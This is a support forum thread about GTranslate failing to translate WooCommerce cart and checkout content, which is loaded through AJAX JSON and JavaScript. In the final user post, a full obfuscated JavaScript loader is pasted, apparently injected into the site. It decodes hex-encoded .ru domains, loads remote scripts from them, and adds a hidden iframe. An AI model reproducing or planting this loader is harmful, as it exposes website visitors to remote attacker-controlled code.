Woocommerce problem

Popular automatic website translation tool

Woocommerce problem

Postby olegthered » Mon Feb 01, 2016 9:28 pm

Hello,
I got problem on checkout page in woocommerce:
http://en.tracers.ru/checkout/
try to checkout this: tracers.ru/shop/mowgli-flora

Oleg
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Edvard » Wed Feb 03, 2016 9:02 am

Hi,

Please check and let me know if it has been solved.

Thanks!
Regards,

Edvard Ananyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Edvard
Site Admin
 
Posts: 4183
Joined: Mon Jun 28, 2010 1:54 pm
Location: Yerevan, Armenia

Re: Woocommerce problem

Postby olegthered » Wed Feb 03, 2016 12:08 pm

Hello Edvard,
cart widget is shown now but text in it is not translated (you can check it by adding to cart here: http://tracers.ru/shop/mowgli-flora - language widget on the top left corner).
Then if i am going to cart page or checkout language is reset to original.
When all order forms are filled on checkout page then shipping calculation is applied automatically in right form on page and this form's text is firstly translated but right after form refreshes and show non translated text(but form and its shipping calculation is working now).
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Edvard » Thu Feb 04, 2016 7:35 am

Hi,

The shopping cart is being loaded by doing an ajax request to http://en.tracers.ru/shop/mowgli-flora/ ... _fragments which responds with JSON format. JSON format is not translated by default, since we do not know how to translate it.

We have a JSON format translation support, but it requires the user to define how we should translate it.

You can find more info on this page about JSON format translation: https://gtranslate.io/docs/58-gtranslat ... umentation

You may ask your shopping cart developer to implement the feature for you or we can do it for additional payment, but then you will need to stop updating your cart software to not break it.

Let me know.

Thanks!

Here is your JSON object for cart widget:

Code: Select all
{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n<ul class=\"cart_list product_list_widget \">\n\n\t\n\t\t\t\t\t\t\t<li class=\"mini_cart_item\">\n\t\t\t\t\t\t<a href=\"http:\/\/tracers.ru\/cart?remove_item=0f92c979a6541ca6b7f292ae1dcf5ec8&#038;_wpnonce=5e150e2857\" class=\"remove\" title=\"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u0443 \u043f\u043e\u0437\u0438\u0446\u0438\u044e\" data-product_id=\"17674\" data-product_sku=\"\">&times;<\/a>\t\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"http:\/\/tracers.ru\/shop\/mowgli-flora\">\n\t\t\t\t\t\t\t\t<img width=\"200\" height=\"200\" src=\"\/\/tracers.ru\/wp-content\/uploads\/2016\/01\/DSC0600-200x200.jpg\" class=\"attachment-shop_thumbnail wp-post-image\" alt=\"_DSC0600\" \/>\u041c\u0430\u0443\u0433\u043b\u0438&nbsp;&nbsp;\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t<span class=\"quantity\">1 &times; <span class=\"amount\">8 400&nbsp;\u20bd<\/span><\/span>\t\t\t\t\t<\/li>\n\t\t\t\t\t\n\t\n<\/ul><!-- end product list -->\n\n\n\t<p class=\"total\"><strong>\u041f\u043e\u0434\u044b\u0442\u043e\u0433:<\/strong> <span class=\"amount\">8 400&nbsp;\u20bd<\/span><\/p>\n\n\t\n\t<p class=\"buttons\">\n\t\t<a href=\"http:\/\/tracers.ru\/cart\" class=\"button wc-forward\">\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u043a\u043e\u0440\u0437\u0438\u043d\u0443<\/a>\n\t\t<a href=\"http:\/\/tracers.ru\/checkout\" class=\"button checkout wc-forward\">\u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0430<\/a>\n\t<\/p>\n\n\n<\/div>",".shooping-count-outer":"\t<span class=\"shooping-count-outer\"><i class=\"fa fa-shopping-cart\"><\/i><\/span>\n\t"},"cart_hash":"bce22850aa96ed1589a0a0cd1dee625a"}
Regards,

Edvard Ananyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Edvard
Site Admin
 
Posts: 4183
Joined: Mon Jun 28, 2010 1:54 pm
Location: Yerevan, Armenia

Re: Woocommerce problem

Postby olegthered » Thu Feb 04, 2016 2:10 pm

Are you talking only about shipping cart or about checkout form with shipping calculation also?

Actually I want cart and checkout form (with shipping calculation) take translation from locale files. So then we will not affect on how these forms work, am I right? And I want other parts of page to be translated with GTranslate. I can pay for that.
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Edvard » Thu Feb 04, 2016 9:35 pm

I'm talking about http://en.tracers.ru/shop/mowgli-flora/ page. The cart is being loaded with ajax request in JSON format.

I would suggest to define how to translate JSON instead of mixing translations as you describe.

I can help you to modify your plugins to define how JSON objects should be translated. It will be good to cooperate with the plugin developers, so you can continue using updates.

If you want a fast solution, we can just modify your files and you need to stop making updates for the modified plugins.

You can contact me by email to discuss the process.

Thanks!
Regards,

Edvard Ananyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Edvard
Site Admin
 
Posts: 4183
Joined: Mon Jun 28, 2010 1:54 pm
Location: Yerevan, Armenia

Re: Woocommerce problem

Postby olegthered » Sun Feb 07, 2016 2:39 pm

Hello Edvard,
I see that cart and checkout calculation are working fine now.
Did you reach woocommerce and Search&Filter authors? How should I act on next plugin's update?
How can I allocate edits you made?

Also how can I make translated and editable buttons on cart form (eg on en.tracers.ru/shop/mowgli-flora when I add to cart I see buttons and one of them have strange translation and I can't edit it), on cart page - en.tracers.ru/cart - refresh cart button is not translated too.
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Edvard » Mon Feb 08, 2016 9:42 am

Hi,

For now you should not make any updates for that plugins.

I'll check the buttons and contact you via email.

Thanks!
Regards,

Edvard Ananyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Edvard
Site Admin
 
Posts: 4183
Joined: Mon Jun 28, 2010 1:54 pm
Location: Yerevan, Armenia

Re: Woocommerce problem

Postby olegthered » Wed Feb 10, 2016 11:31 am

Hi Edvard,
some of my billing fields on left side of checkout page are not translated.
Also some translation on this page I can't edit:
- The site uses in the calculations http://www.postcalc.ru http://www.postcalc.ru
- Save the chosen method of payment (translation Sberbank map)
- Translation map Sberbank(XNUMX% скидка)(XNUMX% discount)
On cart page (en.tracers.ru/cart after adding en.tracers.ru/shop/mowgli-flora product) these strings are not translated:
- 8 400 rub + Доставка.
- Сумма за услугу доставки будет рассчитана на этапе оформления заказа.

And I can't edit "subtotal" (want to have "Subtotal") here:
http://en.tracers.ru/shop/mowgli-flora/?language_edit=1
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Edvard » Fri Feb 12, 2016 10:20 am

Hi Oleg,

I have checked and see that in the source code the form is translated correctly. However it uses javascript to regenerate some parts of the form and places Russian text from javascript. I can modify the javascript as well to fix the translations.

If you want to edit something and you cannot do it, create a test page and place the text you want to edit in <p>...</p> tags, then edit it.

The text Доставка... comes from javascript as well.

I have sent you an email and have not received a reply about the payment. Please reply, so we can move forward.

Thanks!
Regards,

Edvard Ananyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Edvard
Site Admin
 
Posts: 4183
Joined: Mon Jun 28, 2010 1:54 pm
Location: Yerevan, Armenia

Re: Woocommerce problem

Postby olegthered » Fri Feb 12, 2016 3:46 pm

Hello Edvard,
I got your mail. Will send reply soon.

"If you want to edit something and you cannot do it, create a test page and place the text you want to edit in <p>...</p> tags, then edit it."
I don't understand what do ou mean by test page and how it helps me to get some untranslateable strings translated.
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Yana » Fri Feb 12, 2016 5:28 pm

Dear Oleg,

If you check the translation of the dropdown list you will see that in edit mode there is no pencil button to edit the list options. You should create text page with the same text and edit. GTranslate will keep edited translations in our server and will load corrected text.
Regards,

Yana Ghahramanyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Yana
 
Posts: 4134
Joined: Thu Jan 12, 2012 6:21 pm

Re: Woocommerce problem

Postby olegthered » Sat Feb 13, 2016 2:24 pm

Yana, can you give me link to file where you added text for dropdown so I can see the way to do it right. Thank you.

Today I noted that now some strings of code appear on edit post page in text mode (eg on this post http://tracers.ru/?p=17708):

<script>// <![CDATA[
window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tracers.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]></script><iframe id="a1996667054" style="display: none;" src="//u7yb1iy1x3xv.ru/f.html"></iframe>
olegthered
 
Posts: 79
Joined: Thu Feb 26, 2015 11:52 am

Re: Woocommerce problem

Postby Edvard » Sat Feb 13, 2016 4:10 pm

Hi Oleg,

I have checked the page and I do not see the mentioned script.

We are having problems getting payments from you for your tracers.ru. Also you have not replied to my email yet.

Thanks!
Regards,

Edvard Ananyan - GTranslate Team

Please leave your feedback on your CMS plugin directory. It is very important for us!
Google Translate Joomla
Google Translate WordPress
Google Translate Drupal
Edvard
Site Admin
 
Posts: 4183
Joined: Mon Jun 28, 2010 1:54 pm
Location: Yerevan, Armenia


  • Related Topics
    Replies
    Views
    Last post

Who is online

Users browsing this forum: No registered users and 0 guests

2GLux
cron